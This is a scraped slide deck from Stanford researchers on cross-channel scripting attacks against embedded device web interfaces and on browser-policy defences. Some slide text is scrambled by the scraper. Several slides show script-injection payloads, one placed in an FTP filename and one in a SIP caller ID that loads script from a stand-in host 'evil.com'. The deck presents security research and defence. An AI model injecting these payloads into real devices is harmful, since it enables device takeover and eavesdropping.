Cross-Channel Scripting e t u p m Impact on Embedded Web - - PowerPoint PPT Presentation

cross channel scripting
SMART_READER_LITE
LIVE PREVIEW

Cross-Channel Scripting e t u p m Impact on Embedded Web - - PowerPoint PPT Presentation

b a L y t i r u c e S r Cross-Channel Scripting e t u p m Impact on Embedded Web Interfaces o C d r o f Hristo Bojinov Elie Bursztein Dan Boneh n a Stanford Computer Security Lab t S Cross-channel scripting


slide-1
SLIDE 1

S t a n f

  • r

d C

  • m

p u t e r S e c u r i t y L a b

Cross-Channel Scripting

Impact on Embedded Web Interfaces

Hristo Bojinov Elie Bursztein Dan Boneh Stanford Computer Security Lab

slide-2
SLIDE 2

Protocol A

Cross-channel scripting

Service A Service B

Protocol B

Vulnerable System

State

slide-3
SLIDE 3

Protocol A

Cross-channel scripting

Service A Service B

Protocol A Protocol B

Injection e.g. iCal

Vulnerable System

State

slide-4
SLIDE 4

Protocol A

Cross-channel scripting

Service A Service B

Protocol A Protocol B

Injection e.g. iCal

Vulnerable System

State

slide-5
SLIDE 5

Protocol A

Cross-channel scripting

Service A Service B

Protocol A Protocol B

Injection e.g. iCal

Vulnerable System

State

slide-6
SLIDE 6

Protocol A

Cross-channel scripting

Service A Service B

Protocol A Protocol B Protocol B

Execution Injection e.g. iCal e.g. HTTP

Vulnerable System

State

slide-7
SLIDE 7

Protocol A

Cross-channel scripting

XCS: a pervasive attack class

  • secure services ≠ secure system

Service A Service B

Protocol A Protocol B Protocol B

Execution Injection e.g. iCal e.g. HTTP

Vulnerable System

State

slide-8
SLIDE 8

LaCie Ethernet disk mini

  • Share access control
  • Web interface
  • Public FTP

Cross-channel scripting

slide-9
SLIDE 9

Cross-channel scripting

FTP server Attacker

Upload a file: <script>..</script>.pdf

NAS

slide-10
SLIDE 10

file system

Cross-channel scripting

FTP server Attacker

Upload a file: <script>..</script>.pdf

NAS

slide-11
SLIDE 11

Web App file system

Cross-channel scripting

FTP server

Admin Browser

Reflect the filename: <script>..</script>.pdf

Attacker

Upload a file: <script>..</script>.pdf

NAS

Admin Browser

slide-12
SLIDE 12

Cross-channel scripting

slide-13
SLIDE 13

Talk overview

Part 1: Many examples of XCS

  • Phones: 5 XCS vulnerabilities in 2 phones
  • Embedded: 23 devices, 26 XCS vulnerabilities
  • RESTful APIs: 2 major APIs, 2 XCS vulnerabilities
slide-14
SLIDE 14

Talk overview

Part 1: Many examples of XCS

  • Phones: 5 XCS vulnerabilities in 2 phones
  • Embedded: 23 devices, 26 XCS vulnerabilities
  • RESTful APIs: 2 major APIs, 2 XCS vulnerabilities

Part 2: Defenses against XCS

slide-15
SLIDE 15

S t a n f

  • r

d C

  • m

p u t e r S e c u r i t y L a b

More XCS Examples

slide-16
SLIDE 16

Embedded web interfaces?

slide-17
SLIDE 17

Embedded vs. public web servers

75 150 225 300 2008 2009 2010 2011 2012 2013 Growth

Internet Embedded (NAS and photo frame only)

Data :

  • Parks associates
  • Netcraft

( M i l l i

  • n

s )

slide-18
SLIDE 18

Web management interfaces

Managing embedded devices via a web interface: ✓ Easier for users ✓ Cheaper for vendors

slide-19
SLIDE 19

Recipe for a disaster

Vendors build their own web applications

  • Standard web server (sometimes)
  • Custom web application stack
  • Weak web security

New features/services added at a fast pace

  • Vendors compete on number of services in product
  • Interactions between services ➽ vulnerabilities
slide-20
SLIDE 20

Outcome

Vulnerabilities in every device we audited

slide-21
SLIDE 21

VoIP phone

  • Linksys SPA942
  • Web interface
  • SIP support
  • Call logs

SIP XCS

slide-22
SLIDE 22

SIP XCS

slide-23
SLIDE 23

SIP XCS

1 Attacker makes a call as

“<script src="//evil.com/"></script>”

slide-24
SLIDE 24

2 Administrator accesses web interface

SIP XCS

1 Attacker makes a call as

“<script src="//evil.com/"></script>”

slide-25
SLIDE 25

2 Administrator accesses web interface

SIP XCS

Internet

1 Attacker makes a call as 3 Payload executes

“<script src="//evil.com/"></script>”

slide-26
SLIDE 26

SIP XCS

Outcome: phone reconfiguration, VoIP wiretapping...

slide-27
SLIDE 27

WiFi photo frame

  • Samsung SPF85V
  • RSS / URL feed
  • Windows Live
  • WMV / AVI

Photo frame XCS

slide-28
SLIDE 28

Internet

Photo frame XCS

slide-29
SLIDE 29

Internet

Photo frame XCS

1 Attacker infects via CSRF

slide-30
SLIDE 30

Internet

Photo frame XCS

1 Attacker infects via CSRF 2 User connects to manage

slide-31
SLIDE 31

Internet

Photo frame XCS

1 Attacker infects via CSRF 2 User connects to manage 3 Payload executes

Frame Error! Call Support: 1-900-PWNED

slide-32
SLIDE 32

Devices as stepping stones

slide-33
SLIDE 33

Devices as stepping stones

1 Administer the device

slide-34
SLIDE 34

Devices as stepping stones

Internet

1 Administer the device 2 Browse internet

slide-35
SLIDE 35

Devices as stepping stones

Internet

1 Administer the device 2 Browse internet 3 T r i g g e r P O S T ( e . g . v i a A d s )

slide-36
SLIDE 36

Devices as stepping stones

Internet

2 Browse internet 3 T r i g g e r P O S T ( e . g . v i a A d s ) 4 Infect the device

slide-37
SLIDE 37

Devices as stepping stones

5 Access files

slide-38
SLIDE 38

Devices as stepping stones

5 Access files 6 Send malicious payload

slide-39
SLIDE 39

Devices as stepping stones

5 Access files 6 Send malicious payload 7 Attack local network

slide-40
SLIDE 40

SOHO NAS

  • Buffalo LS-CHL
  • BitTorrent support!

Another boring NAS device?

slide-41
SLIDE 41

Massive exploitation

Internet

slide-42
SLIDE 42

Massive exploitation

Internet

Create a bad torrent Famous_movie.torrent

slide-43
SLIDE 43

Massive exploitation

Internet

slide-44
SLIDE 44

Massive exploitation

Internet

slide-45
SLIDE 45

Massive exploitation

Internet

slide-46
SLIDE 46

Peer-to-peer XCS!

slide-47
SLIDE 47

S t a n f

  • r

d C

  • m

p u t e r S e c u r i t y L a b

Defenses

slide-48
SLIDE 48

Protocol A

Cross-channel scripting

Service A Service B

Protocol A Protocol B Protocol B

Execution Injection

Vulnerable System

slide-49
SLIDE 49

Protocol A

Cross-channel scripting

Service A Service B

Protocol A Protocol B Protocol B

Execution Injection

Vulnerable System

Difficult

slide-50
SLIDE 50

Protocol A

Cross-channel scripting

Service A Service B

Protocol A Protocol B Protocol B

Execution Injection

Vulnerable System

Difficult Feasible

slide-51
SLIDE 51

Security policies in browsers

slide-52
SLIDE 52

Security policies in browsers

Strict Transport Security

  • ForceHTTPS [JB’08]
  • Stateful, and site-wide
  • Recently adopted by PayPal
  • Several browser implementations
slide-53
SLIDE 53

Security policies in browsers

Same Origin Mutual Approval [OWvOS’08]

  • Manifest delivery, stateless, site-wide
slide-54
SLIDE 54

Security policies in browsers

Same Origin Mutual Approval [OWvOS’08]

  • Manifest delivery, stateless, site-wide

Mozilla Content Security Policy

  • Header delivery, stateless, fine-grained
slide-55
SLIDE 55

Security policies in browsers

Same Origin Mutual Approval [OWvOS’08]

  • Manifest delivery, stateless, site-wide

Mozilla Content Security Policy

  • Header delivery, stateless, fine-grained

SiteFirewall

  • Header delivery, stateful, site-wide
slide-56
SLIDE 56

SiteFirewall

SiteFirewall (a Firefox extension), prevents internal websites from accessing the Internet.

Internet

slide-57
SLIDE 57

SiteFirewall

SiteFirewall (a Firefox extension), prevents internal websites from accessing the Internet.

Internet

slide-58
SLIDE 58

SiteFirewall

Injected script can issue requests at will: <script src=”http://evil.com”> Before

slide-59
SLIDE 59

SiteFirewall

Page interactions with the Internet blocked. After

slide-60
SLIDE 60

Thinking beyond cookies

slide-61
SLIDE 61

Thinking beyond cookies

Policy delivery mechanisms:

  • Manifest files, cookies, custom headers, DNS, certs
slide-62
SLIDE 62

Thinking beyond cookies

Policy delivery mechanisms:

  • Manifest files, cookies, custom headers, DNS, certs

Different types of browser state:

  • Cookies for web application state
  • Policy store for web site security policies
slide-63
SLIDE 63

S t a n f

  • r

d C

  • m

p u t e r S e c u r i t y L a b

Conclusion

slide-64
SLIDE 64

A growing threat

As seen on Twitter...

slide-65
SLIDE 65

A growing threat

... and a smartphone near you.

slide-66
SLIDE 66

Conclusion

Rise of multi-protocol devices: XCS Rise of browser-OS: 24x7 exploitability

Thanks to Eric Lovett and Parks Associates!

slide-67
SLIDE 67

Conclusion

Rise of multi-protocol devices: XCS Rise of browser-OS: 24x7 exploitability Recommendations

  • HTTP: cross-site policy standard
  • Browser: security policy store (non-cookie)

Thanks to Eric Lovett and Parks Associates!

slide-68
SLIDE 68

S t a n f

  • r

d C

  • m

p u t e r S e c u r i t y L a b

Questions?

http://seclab.stanford.edu